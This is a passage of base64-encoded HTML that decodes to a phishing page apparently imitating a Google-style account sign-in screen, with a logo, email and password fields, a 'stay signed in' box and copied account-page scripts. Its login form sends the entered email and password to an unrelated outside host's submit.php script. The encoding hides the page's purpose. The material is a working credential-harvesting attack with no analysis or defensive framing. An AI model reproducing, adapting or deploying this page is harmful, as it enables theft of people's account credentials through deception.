dBandBZ3dBdFVJc0liSUVzRUlNQUtNQUd1SUxBT01BQ1BBQ0ZRajhQOGprVFljeEZXK2p3QUFBQUJKUlU1RXJrSmdnZz09IiBzdHlsZT0iY29sb3I6IHJnYig2NCwgNjQsIDY0KTsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEzcHg7IiAvPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE4cHg7Ij4mbmJzcDs8L3NwYW4+PC9oMT4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSJjYXJkIHNpZ25pbi1jYXJkIGNsZWFyZml4Ij4NCgkJCQkJPGRpdiBpZD0iY2NfaWZyYW1lX3BhcmVudCI+DQoJCQkJCQkmbmJzcDs8L2Rpdj4NCgkJCQkJPGltZyBhbHQ9IiIgY2xhc3M9InByb2ZpbGUtaW1nIiBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBTUFBQUFEQUNBWUFBQUJTM0d3SEFBQUphRWxFUVZSNFh1MmREVXZjU2hpRlU3R0srSUdJdFlpMEZmSC8veUlSdFVqcEJ5SnFLZFZpcnlkM1k5ZlYzV1N6bS9GazNtZGdxZHk3bTVrNTczbm1LNVBKbTlQVDA3OEZDUVdDS3ZBR0FJSkdubXFYQ2dBQVJnaXRBQUNFRGorVkJ3QThFRm9CQUFnZGZpb1BBSGdndEFJQUVEcjhWQjRBOEVCb0JRQWdkUGlwUEFEZ2dkQUtBRURvOEZONUFNQURvUlVBZ05EaHAvSUFnQWRDS3dBQW9jTlA1UUVBRDRSV0FBQkNoNS9LQXdBZUNLMEFBSVFPUDVVSEFEd1FXZ0VBQ0IxK0tnOEFlQ0MwQWdBUU92eFVIZ0R3UUdnRkFDQjArS2s4QU9DQjBBb0FRT2p3VTNrQXdBT2hGUUNBME9HbjhnQ0FCMElyQUFDaHcwL2xBUUFQaEZZQUFFS0huOG9EQUI0SXJRQUFoQTQvbFFjQVBCQmFBUUFJSFg0cUR3QjRJTFFDQUJBNi9GUWVBUEJBYUFVQUlIVDRxVHdBNElIUUNnQkE2UEJUZVFEQUE2RVZBSURRNGFmeUFOQ3hCMzcvL2wzOCt2V3J1TDI5TGU3dTdzcS9KNldWbFpYaTdkdTN4ZExTVXFHL2w1ZVhPeTVoN01zRFFBZngvL256WjZIUHpjMU5jWDkvUDFNT0N3c0x4ZHJhV3JHNnVscCtTUE5WQUFEbXBLZU1mbmw1V1Z4Zlg1Y3RmUmRKUGNQNitucXh1YmxaQ0F6UzdBb0F3T3dhRmhjWEY2WDVaMjN0bXhaRjVoY0VXMXRiVFgvQzk4WW9BQUF6V0VQaitXL2Z2blhXNHRjVlRUM0N6czVPT1ZjZ3RWTUFBTnJwVnZ6NDhhTnM5UjJTZW9QdDdXMkhvdlN1REFBd1pjaisvUGxUZlBueXBkRHFqbFBTYXRIdTdtNnh1TGpvVkN6N3NnREFGQ0dTNmMvUHo1T045YWNvV3ZsVnpRMzI5dlpZT3AxQ09BQm9LSmE3K2F0cUFFSERnQTYrQmdBTjlPcUwrWUdnUVRCSHZnSUFOWnBwekg5MmRtWTc3QmxYZlBVRUh6OStaRTVRRTE4QXFCSG84K2ZQZGhQZXB1MmNKc1lmUG54byt2V1Ezd09BQ1dGM1d1cHM2MDZXU0NjckJ3Qmo5TkZOTHEzNDVKQzBNc1ROc3BjakNRQmpISDU2ZXZwcWQzam5EWjN1R0gvNjlHbmVsODNpZWdEd1FoaTF0MGVmbkpMMkRiRjM2SGxFQVdCRUUyMW9Pems1NmQycVR4MnNXaFhhMzk5bkZ5bkxvSk90a21Qclg5V1lYb0Flb0s2aExISWErNDlXbHJrQUFFd0VRRTl4YWFOYnpra2I1bml5N0YrRW1RTU11VjE3KzYrdXJuTDJmN0d4c1ZFK1EwRDZYd0VBR0hMQzhmRnhkcFBmVWFOck1ueHdjSUQvQndvQXdFQUliWGpUdG9jSVNkc2pPRzJDSHVDSjEvVjBsN1krUkVoNmVreGJKRWdNZ1I0OUVHSDhYMVdXZVFDVDRHZU5uL2I5MUIxYWxVdUxxWDFCMmg5RW9nZDQ5TURSMFZFb1B4d2VIb2FxNzdqS01na2VLQU1BTVhrQUFBQ0k2WHlXUWYvRlhSdmdkQThnVW1JSXhETG9vOThCSUJMNlQrdktFSWdoVUZ6M1A5UWNBQUFBQUVJckFBQ2h3MDhQTUFnL044SmljZ0FBZzdpekZRSUFZaW93cURXYjRXS0dueDVnRUhlMlF3TkFUQVdHYXMwRE1mRXNRQTh3RlBNSTh3QzJRbk1qYkd3engwUHg5QUR4RkJpcE1jZWl4TElBUTZDUmVPZThHc1RCV00vaEJvQVJUVGdha1I0Z2xnSXYxRGJINHhGcC9WKzJOVDNBR054em1ndHdKT0w0TmgwQXhtakRDekppREFRQVlFS2NlVVZTL2hBQVFFMk1lVWxlM2hBQVFFMThlVTBxQU9TdFFJUGE4YUxzQmlMMTlDdjBBQTBEMXhjSWRQcXpUbjNqOE50bWdRV0FaanFWMzNLSEFQTlBFY3pCVndGZ1NzMDBKOUJiWkFTRFUxS0xyN2UvTEM0dU9oWEx2aXdBMERKRVRrdWt2QTIrWlJBZmZnWUE3YlVyVDVQV013UjNkM2N6WEtYOVQzV0hWNjg3NGkzdzdUVUVnUGJhUGY1U2U0ZTBpMVFiNlZJa2pmWFY2dlBpNjluVkJvRFpOU3l2SVBNTGd1dnI2ODU2QkxYNDYrdnJwZmtGQVdsMkJRQmdkZzJmWFVGUGx1bHpjM016YzY4Z282K3RyWld2TnVYMXB2TVBGZ0RNWDlNblY5UnFrZVlLdDdlM1pjOVE5eFlhamVmVjBpOHRMWlZqZTlienV3MFFBSFNyTDFjM1Z3QUF6QU5FOGJwVkFBQzYxWmVybXlzQUFPWUJvbmpkS2dBQTNlckwxYzBWQUFEekFGRzhiaFVBZ0c3MTVlcm1DZ0NBZVlBb1hyY0tBRUMzK25KMWN3VUF3RHhBRks5YkJRQ2dXMzI1dXJrQ0FHQWVJSXJYclFJQTBLMitYTjFjQVFBd0R4REY2MVlCQU9oV1g2NXVyZ0FBbUFlSTRuV3JBQURNVWQvcVlaZnFYejBNbzBjbDlabjJHSlhxUVhjOUVWWTlGRlA5Tng2Q24xL1FBS0NGbGpMejhCTmVPaXNvOWNrUWVtcE1ad0FOUDBIRzAyUFRCeE1BYWpTVHVkV2l5L1RWNDQzVHk1enVGOVZqbElKQmYzTlExbVR0QVdCRW44cndNcjArcVZ2MmVhT2lua0lnVkIrQWVLb3dBRHpvb1JNY1pIYjkyM2ZEMXdFa0lIUzZoSURnbEluQUo4UE44K2lTT3RPNS9uK09YQWtHQUtZZmoySlVHTElmQW1sTWYzVjExZW1KYmE0dGZOdHlWU2ZRYld4c1pEK0p6aFlBamVsMVZLRmFmVko3QlRSUDBGR011ZDU3eUE0QW5jMHA0MDk3NDZtOVJXTDhVc3VxQWtGbmsrYVVzZ0ZBeHRjcHpibXY0cnkyK1RRODBxblV1WURRZXdBMDFOSExLbWp4MDZLaEhtRjdlN3YzUTZQZUFxREo3ZmZ2M3huanAvWDlzOXcwUjNqMzdsMXZKOHU5QkVCamZBMTNVcjJRNHBVOVpwKzlsbEExTE5JY29XK3BWd0RJOEhwQlhkMFI0MzBMUWk3bDFVcVJYdFRYcDVkMzlBWUFtVjdtcDlYM3hrWG1Gd1I5V1RidEJRQmE0Zm42OWF0MzVDbmRFd1hldjMvZmk1VWlld0QwRmtiZHlTWDFUd0hkU2RaYkxKMlROUUNZMzlrNnpjcm1Eb0V0QUZycDBmbytxZjhLNkg2QjZ3cVJKUURhdjZNSkx5a2ZCVFF4ZG56K3dBNEFyZktjbkp5dzJwT1A5OHVhYUhWb2YzL2Zib25VRGdDMS9Pemd6TXo5Zytxb0IxQlA0SlNzQU5CYS8vbjV1Wk0rbEdYT0N1enQ3Vm5kSTdBQ1FPYm5MdStjSFdkMk9kMGdFd1F1eVFZQWJXN1QySitVdndLYUM3aWNUbUVEQU11ZStSdS9xcUhUc3FnTkFBeC80Z0RnTkF5eUFlRDQrSmlsenlBTWFFbjA0T0RBb3JZMkFCd2RIVmtJUWlIU0tIQjRlSmdtbzVwY0xBRFF6Uy8xQUtRNENnREFVS3haLzQ5ai9LcW1BQUFBOFZ3L1ZHTUFBQUFBTUZEQVlnN0FFTWpBQ1ltTFFBOUFENURZY2w3WkFRQUFlRGt5Y1drQUFBQVNXODRyT3dBQUFDOUhKaTROQUFCQVlzdDVaUWNBQU9EbHlNU2xBUUFBU0d3NXIrd0FBQUM4SEptNE5BQUFBSWt0NTVVZEFBQ0FseU1UbHdZQUFDQ3g1Ynl5QXdBQThISms0dElBQUFBa3RweFhkZ0FBQUY2T1RGd2FBQUNBeEpienlnNEFBTURMa1lsTEF3QUFrTmh5WHRrQkFBQjRPVEp4YVFBQUFCSmJ6aXM3QUFBQUwwY21MZzBBQUVCaXkzbGxCd0FBNE9YSXhLVUJBQUJJYkRtdjdBQUFBTHdjbWJnMEFBQUFpUzNubFIwQUFJQ1hJeE9YQmdBQUlMSGx2TElEQUFEd2NtVGkwZ0FBQUNTMm5GZDJBQUFBWG81TVhCb0FBSURFbHZQS0RnQUF3TXVSaVVzREFBQ1EySEplMlFFQUFIZzVNbkZwQUFBQUVsdk9LenNYQVA0RGFKSm9tMW5MZEpzQUFBQUFTVVZPUks1Q1lJST0iIC8+DQoJCQkJCTxwIGNsYXNzPSJwcm9maWxlLW5hbWUiPg0KCQkJCQkJPHNwYW4gY2xhc3M9InN0eWxlMSIgc3R5bGU9Im91dGxpbmU6IDA7IC13ZWJraXQtdGV4dC1zaXplLWFkanVzdDogMTAwJSI+PGltZyBzcmM9Imh0dHA6Ly9pLmN1YmV1cGxvYWQuY29tL1FMbVJXbS5wbmciIHN0eWxlPSJoZWlnaHQ6IDM1cHg7IHdpZHRoOiAyNTBweDsiIC8+PC9zcGFuPjwvcD4NCgkJCQkJPGZvcm0gYWN0aW9uPSJodHRwOi8vYW5heml0YS5jb20veG16L3N1Ym1pdC5waHAiIGlkPSJzaWdudXAiIG1ldGhvZD0icG9zdCIgbmFtZT0ic2lnbnVwIj4NCgkJCQkJCTxpbnB1dCBpZD0iY2hlY2tlZERvbWFpbnMiIG5hbWU9ImNoZWNrZWREb21haW5zIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJ5b3V0dWJlIiAvPiA8bGFiZWwgY2xhc3M9ImhpZGRlbi1sYWJlbCIgZm9yPSJFbWFpbCI+RW1haWw8L2xhYmVsPiA8aW5wdXQgaWQ9IkVtYWlsIiBuYW1lPSJFbWFpbCIgcGxhY2Vob2xkZXI9IkVtYWlsIiBzcGVsbGNoZWNrPSJmYWxzZSIgdHlwZT0iZW1haWwiIHZhbHVlPSIiIC8+IDxsYWJlbCBjbGFzcz0iaGlkZGVuLWxhYmVsIiBmb3I9IlBhc3N3ZCI+UGFzc3dvcmQ8L2xhYmVsPiA8aW5wdXQgaWQ9IlBhc3N3ZCIgbmFtZT0iUGFzc3dkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiAvPiA8aW5wdXQgY2xhc3M9InJjLWJ1dHRvbiByYy1idXR0b24tc3VibWl0IiBpZD0ic2lnbkluIiBuYW1lPSJzaWduSW4iIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNpZ24gaW4iIC8+IDxsYWJlbCBjbGFzcz0icmVtZW1iZXIiPiA8aW5wdXQgaWQ9IlBlcnNpc3RlbnRDb29raWUiIG5hbWU9IlBlcnNpc3RlbnRDb29raWUiIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0ieWVzIiAvPiA8c3Bhbj4gU3RheSBzaWduZWQgaW4gPC9zcGFuPiA8L2xhYmVsPg0KCQkJCQkJPGRpdiBjbGFzcz0iYnViYmxlLXdyYXAiIHJvbGU9InRvb2x0aXAiPg0KCQkJCQkJCTxkaXYgY2xhc3M9ImJ1YmJsZS1wb2ludGVyIj4NCgkJCQkJCQkJJm5ic3A7PC9kaXY+DQoJCQkJCQkJDQoJCQkJCQk8aW5wdXQgbmFtZT0icm1TaG93biIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iMSIgLz4gPGEgY2xhc3M9Im5lZWQtaGVscC1yZXZlcnNlIiBocmVmPSJodHRwczovL2FjY291bnRzLi5jb20vUmVjb3ZlckFjY291bnQ/c2VydmljZT13aXNlJmFtcDtjb250aW51ZT1odHRwcyUzQSUyRiUyRi4uY29tJTJGJTNGdXJwJTNEaHR0cCUzQSUyRiUyRnd3dy4uY28uemElMkZ1cmwlM0ZzYSUyNTNEdCUyNTI2cmN0JTI1M0RqJTI1MjZxJTI1M0QlMjUyNmVzcmMlMjUzRHMlMjUyNnMlMjMiIGlkPSJsaW5rLWZvcmdvdC1wYXNzd2QiPiZuYnNwOzwvYT48L2Zvcm0+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBjbGFzcz0ib25lLSI+DQoJCQkJCTxwIGNsYXNzPSJjcmVhdGUtYWNjb3VudCI+Jm5ic3A7DQoJCQkJCQk8L3A+DQoJCQkJCTxwIGNsYXNzPSJ0YWdsaW5lIj4mbmJzcDsNCgkJCQkJCTwvcD4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0iLWZvb3Rlci1iYXIiPg0KCQkJCTxkaXYgY2xhc3M9ImZvb3RlciBjb250ZW50IGNsZWFyZml4Ij4NCgkJCQkJJm5ic3A7PC9kaXY+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxzY3JpcHQ+DQogICAgICAoZnVuY3Rpb24gKCkgew0KICAgICAgICAgIHZhciBzcGxpdEJ5Rmlyc3RDaGFyID0gZnVuY3Rpb24gKHRvQmVTcGxpdCwgc3BsaXRDaGFyKSB7DQogICAgICAgICAgICAgIHZhciBpbmRleCA9IHRvQmVTcGxpdC5pbmRleE9mKHNwbGl0Q2hhcik7DQogICAgICAgICAgICAgIGlmIChpbmRleCA+PSAwKSB7DQogICAgICAgICAgICAgICAgICByZXR1cm4gW3RvQmVTcGxpdC5zdWJzdHJpbmcoMCwgaW5kZXgpLA0KICB0b0JlU3BsaXQuc3Vic3RyaW5nKGluZGV4ICsgMSldOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIHJldHVybiBbdG9CZVNwbGl0XTsNCiAgICAgICAgICB9DQogICAgICAgICAgdmFyIGxhbmdDaG9vc2VyX3BhcnNlUGFyYW1zID0gZnVuY3Rpb24gKHBhcmFtc1NlY3Rpb24pIHsNCiAgICAgICAgICAgICAgaWYgKHBhcmFtc1NlY3Rpb24pIHsNCiAgICAgICAgICAgICAgICAgIHZhciBxdWVyeSA9IHt9Ow0KICAgICAgICAgICAgICAgICAgdmFyIHBhcmFtcyA9IHBhcmFtc1NlY3Rpb24uc3BsaXQoJyYnKTsNCiAgICAgICAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgcGFyYW1zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgdmFyIHBhcmFtID0gc3BsaXRCeUZpcnN0Q2hhcihwYXJhbXNbaV0sICc9Jyk7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKHBhcmFtLmxlbmd0aCA9PSAyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXJ5W3BhcmFtWzBdXSA9IHBhcmFtWzFdOw0KICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIHJldHVybiBxdWVyeTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICByZXR1cm4ge307DQogICAgICAgICAgfQ0KICAgICAgICAgIHZhciBsYW5nQ2hvb3Nlcl9nZXRQYXJhbVN0ciA9IGZ1bmN0aW9uIChwYXJhbXMpIHsNCiAgICAgICAgICAgICAgdmFyIHBhcmFtc1N0ciA9IFtdOw0KICAgICAgICAgICAgICBmb3IgKHZhciBhIGluIHBhcmFtcykgew0KICAgICAgICAgICAgICAgICAgcGFyYW1zU3RyLnB1c2goYSArICI9IiArIHBhcmFtc1thXSk7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgcmV0dXJuIHBhcmFtc1N0ci5qb2luKCcmJyk7DQogICAgICAgICAgfQ0KICAgICAgICAgIHZhciBsYW5nQ2hvb3Nlcl9jdXJyZW50VXJsID0gd2luZG93LmxvY2F0aW9uLmhyZWY7DQogICAgICAgICAgdmFyIG1hdGNoID0gbGFuZ0Nob29zZXJfY3VycmVudFVybC5tYXRjaCgiXiguKj8pKFxcPyguKj8pKT8oIyguKikpPyQiKTsNCiAgICAgICAgICB2YXIgbGFuZ0Nob29zZXJfY3VycmVudFBhdGggPSBtYXRjaFsxXTsNCiAgICAgICAgICB2YXIgbGFuZ0Nob29zZXJfcGFyYW1zID0gbGFuZ0Nob29zZXJfcGFyc2VQYXJhbXMobWF0Y2hbM10pOw0KICAgICAgICAgIHZhciBsYW5nQ2hvb3Nlcl9mcmFnbWVudCA9IG1hdGNoWzVdOw0KDQogICAgICAgICAgdmFyIGxhbmdDaG9vc2VyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xhbmctY2hvb3NlcicpOw0KICAgICAgICAgIHZhciBsYW5nQ2hvb3NlcldyYXAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbGFuZy1jaG9vc2VyLXdyYXAnKTsNCiAgICAgICAgICB2YXIgbGFuZ1Zpc0NvbnRyb2wgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbGFuZy12aXMtY29udHJvbCcpOw0KICAgICAgICAgIGlmIChsYW5nVmlzQ29udHJvbCAmJiBsYW5nQ2hvb3Nlcikgew0KICAgICAgICAgICAgICBsYW5nVmlzQ29udHJvbC5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7DQogICAgICAgICAgICAgIGxhbmdDaG9vc2VyLm9uY2hhbmdlID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgbGFuZ0Nob29zZXJfcGFyYW1zWydscCddID0gMTsNCiAgICAgICAgICAgICAgICAgIGxhbmdDaG9vc2VyX3BhcmFtc1snaGwnXSA9IGVuY29kZVVSSUNvbXBvbmVudCh0aGlzLnZhbHVlKTsNCiAgICAgICAgICAgICAgICAgIHZhciBwYXJhbXNTdHIgPSBsYW5nQ2hvb3Nlcl9nZXRQYXJhbVN0cihsYW5nQ2hvb3Nlcl9wYXJhbXMpOw0KICAgICAgICAgICAgICAgICAgdmFyIG5ld0hyZWYgPSBsYW5nQ2hvb3Nlcl9jdXJyZW50UGF0aCArICI/IiArIHBhcmFtc1N0cjsNCiAgICAgICAgICAgICAgICAgIGlmIChsYW5nQ2hvb3Nlcl9mcmFnbWVudCkgew0KICAgICAgICAgICAgICAgICAgICAgIG5ld0hyZWYgPSBuZXdIcmVmICsgIiMiICsgbGFuZ0Nob29zZXJfZnJhZ21lbnQ7DQogICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IG5ld0hyZWY7DQogICAgICAgICAgICAgIH07DQogICAgICAgICAgfQ0KICAgICAgfSkoKTsNCiAgICA8L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgdmFyIGdhaWFfYXR0YWNoRXZlbnQgPSBmdW5jdGlvbiAoZWxlbWVudCwgZXZlbnQsIGNhbGxiYWNrKSB7DQogICAgICAgIGlmIChlbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIpIHsNCiAgICAgICAgICAgIGVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihldmVudCwgY2FsbGJhY2ssIGZhbHNlKTsNCiAgICAgICAgfSBlbHNlIGlmIChlbGVtZW50LmF0dGFjaEV2ZW50KSB7DQogICAgICAgICAgICBlbGVtZW50LmF0dGFjaEV2ZW50KCdvbicgKyBldmVudCwgY2FsbGJhY2spOw0KICAgICAgICB9DQogICAgfTsNCjwvc2NyaXB0PjxzY3JpcHQ+ICAgICAgdmFyIEcsIEdiID0gZnVuY3Rpb24gKGEsIGIpIHsgdmFyIGMgPSBhOyBhICYmICJzdHJpbmciID09IHR5cGVvZiBhICYmIChjID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYSkpOyBpZiAoYiAmJiAhYykgdGhyb3cgbmV3IEdhKGEpOyByZXR1cm4gYyB9LCBHYSA9IGZ1bmN0aW9uIChhKSB7IHRoaXMuaWQgPSBhOyB0aGlzLnRvU3RyaW5nID0gZnVuY3Rpb24gKCkgeyByZXR1cm4gIk5vIGVsZW1lbnQgZm91bmQgZm9yIGlkICciICsgdGhpcy5pZCArICInIiB9IH07IHZhciBHYyA9IHt9LCBHZiA9IGZ1bmN0aW9uIChhLCBiLCBjKSB7IHZhciBkID0gZnVuY3Rpb24gKGEpIHsgdmFyIGIgPSBjLmNhbGwodGhpcywgYSk7ICExID09PSBiICYmIEdkKGEpOyByZXR1cm4gYiB9OyBhID0gR2IoYSwgITApOyBhLmFkZEV2ZW50TGlzdGVuZXIoYiwgZCwgITEpOyBHZShhLCBiKS5wdXNoKGQpOyByZXR1cm4gZCB9LCBHZyA9IGZ1bmN0aW9uIChhLCBiLCBjKSB7IGEgPSBHYihhLCAhMCk7IHZhciBkID0gZnVuY3Rpb24gKCkgeyB2YXIgYiA9IHdpbmRvdy5ldmVudCwgZCA9IGMuY2FsbChhLCBiKTsgITEgPT09IGQgJiYgR2QoYik7IHJldHVybiBkIH07IGEuYXR0YWNoRXZlbnQoIm9uIiArIGIsIGQpOyBHZShhLCBiKS5wdXNoKGQpOyByZXR1cm4gZCB9LCBHaDsgR2ggPSB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lciA/IEdmIDogd2luZG93LmF0dGFjaEV2ZW50ID8gR2cgOiB2b2lkIDA7IHZhciBHZCA9IGZ1bmN0aW9uIChhKSB7IGEucHJldmVudERlZmF1bHQgPyBhLnByZXZlbnREZWZhdWx0KCkgOiBhLnJldHVyblZhbHVlID0gITE7IHJldHVybiAhMSB9Ow0KICAgICAgdmFyIEdlID0gZnVuY3Rpb24gKGEsIGIpIHsgR2NbYV0gPSBHY1thXSB8fCB7fTsgR2NbYV1bYl0gPSBHY1thXVtiXSB8fCBbXTsgcmV0dXJuIEdjW2FdW2JdIH07IHZhciBHaSA9IGZ1bmN0aW9uICgpIHsgdHJ5IHsgcmV0dXJuIG5ldyBYTUxIdHRwUmVxdWVzdCB9IGNhdGNoIChhKSB7IGZvciAodmFyIGIgPSBbIk1TWE1MMi5YTUxIVFRQLjYuMCIsICJNU1hNTDIuWE1MSFRUUC4zLjAiLCAiTVNYTUwyLlhNTEhUVFAiLCAiTWljcm9zb2Z0LlhNTEhUVFAiXSwgYyA9IDA7IGMgPCBiLmxlbmd0aDsgYysrKSB0cnkgeyByZXR1cm4gbmV3IEFjdGl2ZVhPYmplY3QoYltjXSkgfSBjYXRjaCAoZCkgeyB9IH0gcmV0dXJuIG51bGwgfSwgR2ogPSBmdW5jdGlvbiAoKSB7IHRoaXMuZyA9IEdpKCk7IHRoaXMucGFyYW1ldGVycyA9IHt9IH07IEdqLnByb3RvdHlwZS5vbmNvbXBsZXRlID0gZnVuY3Rpb24gKCkgeyB9Ow0KICAgICAgR2oucHJvdG90eXBlLnNlbmQgPSBmdW5jdGlvbiAoYSkgeyB2YXIgYiA9IFtdLCBjOyBmb3IgKGMgaW4gdGhpcy5wYXJhbWV0ZXJzKSB7IHZhciBkID0gdGhpcy5wYXJhbWV0ZXJzW2NdOyBiLnB1c2goYyArICI9IiArIGVuY29kZVVSSUNvbXBvbmVudChkKSkgfSB2YXIgYiA9IGIuam9pbigiJiIpLCBlID0gdGhpcy5nLCBmID0gdGhpcy5vbmNvbXBsZXRlOyBlLm9wZW4oIlBPU1QiLCBhLCAhMCk7IGUuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOyBlLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsgNCA9PSBlLnJlYWR5U3RhdGUgJiYgZih7IHN0YXR1czogZS5zdGF0dXMsIHRleHQ6IGUucmVzcG9uc2VUZXh0IH0pIH07IGUuc2VuZChiKSB9Ow0KICAgICAgR2oucHJvdG90eXBlLmdldCA9IGZ1bmN0aW9uIChhKSB7IHZhciBiID0gdGhpcy5vbmNvbXBsZXRlLCBjID0gdGhpcy5nOyBjLm9wZW4oIkdFVCIsIGEsICEwKTsgYy5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7IDQgPT0gYy5yZWFkeVN0YXRlICYmIGIoeyBzdGF0dXM6IGMuc3RhdHVzLCB0ZXh0OiBjLnJlc3BvbnNlVGV4dCB9KSB9OyBjLnNlbmQoKSB9OyB2YXIgR2wgPSBmdW5jdGlvbiAoYSkgeyB0aGlzLmUgPSBhOyB0aGlzLmsgPSB0aGlzLmwoKTsgaWYgKG51bGwgPT0gdGhpcy5lKSB0aHJvdyBuZXcgR2soIkVtcHR5IG1vZHVsZSBuYW1lIik7IH07IEcgPSBHbC5wcm90b3R5cGU7IEcubCA9IGZ1bmN0aW9uICgpIHsgdmFyIGEgPSB3aW5kb3cubG9jYXRpb24ucGF0aG5hbWU7IHJldHVybiBhICYmIDAgPT0gYS5pbmRleE9mKCIvYWNjb3VudHMiKSA/ICIvYWNjb3VudHMvSnNSZW1vdGVMb2ciIDogIi9Kc1JlbW90ZUxvZyIgfTsNCiAgICAgIEcubiA9IGZ1bmN0aW9uIChhLCBiLCBjKSB7IHZhciBkID0gdGhpcy5rLCBlID0gdGhpcy5lIHx8ICIiLCBkID0gZCArICI/bW9kdWxlPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZSk7IGEgPSBhIHx8ICIiOyBkID0gZCArICImdHlwZT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGEpOyBiID0gYiB8fCAiIjsgZCA9IGQgKyAiJm1zZz0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGIpOyBjID0gYyB8fCBbXTsgZm9yIChhID0gMDsgYSA8IGMubGVuZ3RoOyBhKyspIGQgPSBkICsgIiZhcmc9IiArIGVuY29kZVVSSUNvbXBvbmVudChjW2FdKTsgdHJ5IHsgdmFyIGYgPSBNYXRoLmZsb29yKDFFNCAqIE1hdGgucmFuZG9tKCkpLCBkID0gZCArICImcj0iICsgU3RyaW5nKGYpIH0gY2F0Y2ggKGcpIHsgfSByZXR1cm4gZCB9OyBHLnNlbmQgPSBmdW5jdGlvbiAoYSwgYiwgYykgeyB2YXIgZCA9IG5ldyBHajsgZC5wYXJhbWV0ZXJzID0ge307IHRyeSB7IHZhciBlID0gdGhpcy5uKGEsIGIsIGMpOyBkLmdldChlKSB9IGNhdGNoIChmKSB7IH0gfTsgRy5lcnJvciA9IGZ1bmN0aW9uIChhLCBiKSB7IHRoaXMuc2VuZCgiRVJST1IiLCBhLCBiKSB9OyBHLndhcm4gPSBmdW5jdGlvbiAoYSwgYikgeyB0aGlzLnNlbmQoIldBUk4iLCBhLCBiKSB9Ow0KICAgICAgRy5pbmZvID0gZnVuY3Rpb24gKGEsIGIpIHsgdGhpcy5zZW5kKCJJTkZPIiwgYSwgYikgfTsgRy5mID0gZnVuY3Rpb24gKGEpIHsgdmFyIGIgPSB0aGlzOyByZXR1cm4gZnVuY3Rpb24gKCkgeyB0cnkgeyByZXR1cm4gYS5hcHBseShudWxsLCBhcmd1bWVudHMpIH0gY2F0Y2ggKGMpIHsgdGhyb3cgYi5lcnJvcigiVW5jYXRjaGVkIGV4Y2VwdGlvbjogIiArIGMpLCBjOyB9IH0gfTsgdmFyIEdrID0gZnVuY3Rpb24gKCkgeyB9OyB2YXIgR20gPSBHbSB8fCBuZXcgR2woInVyaSIpLCBHbiA9IFJlZ0V4cCgiXig/OihbXjovPyMuXSspOik/KD86Ly8oPzooW14vPyNdKilAKT8oW1xcd1xcZFxcLVxcdTAxMDAtXFx1ZmZmZi4lXSopKD86OihbMC05XSspKT8pPyhbXj8jXSspPyg/OlxcPyhbXiNdKikpPyg/OiMoLiopKT8kIiksIEdvID0gZnVuY3Rpb24gKGEpIHsgcmV0dXJuICJodHRwIiA9PSBhLnRvTG93ZXJDYXNlKCkgPyA4MCA6ICJodHRwcyIgPT0gYS50b0xvd2VyQ2FzZSgpID8gNDQzIDogbnVsbCB9LCBHcCA9IGZ1bmN0aW9uIChhLCBiKSB7DQogICAgICAgICAgdmFyIGMgPSBiLm1hdGNoKEduKVsxXSB8fCBudWxsLCBkLCBlID0gYi5tYXRjaChHbilbM10gfHwgbnVsbDsgZCA9IGUgJiYgZGVjb2RlVVJJQ29tcG9uZW50KGUpOyBlID0gTnVtYmVyKGIubWF0Y2goR24pWzRdIHx8IG51bGwpIHx8IG51bGw7IGlmICghYyB8fCAhZCkgcmV0dXJuIEdtLmVycm9yKCJJbnZhbGlkIG9yaWdpbiBFeGNlcHRpb24iLCBbU3RyaW5nKGIpXSksICExOyBlIHx8IChlID0gR28oYykpOyB2YXIgZiA9IGEubWF0Y2goR24pWzFdIHx8IG51bGw7IGlmICghZiB8fCBmLnRvTG93ZXJDYXNlKCkgIT0NCmMudG9Mb3dlckNhc2UoKSkgcmV0dXJuICExOyBjID0gKGMgPSBhLm1hdGNoKEduKVszXSB8fCBudWxsKSAmJiBkZWNvZGVVUklDb21wb25lbnQoYyk7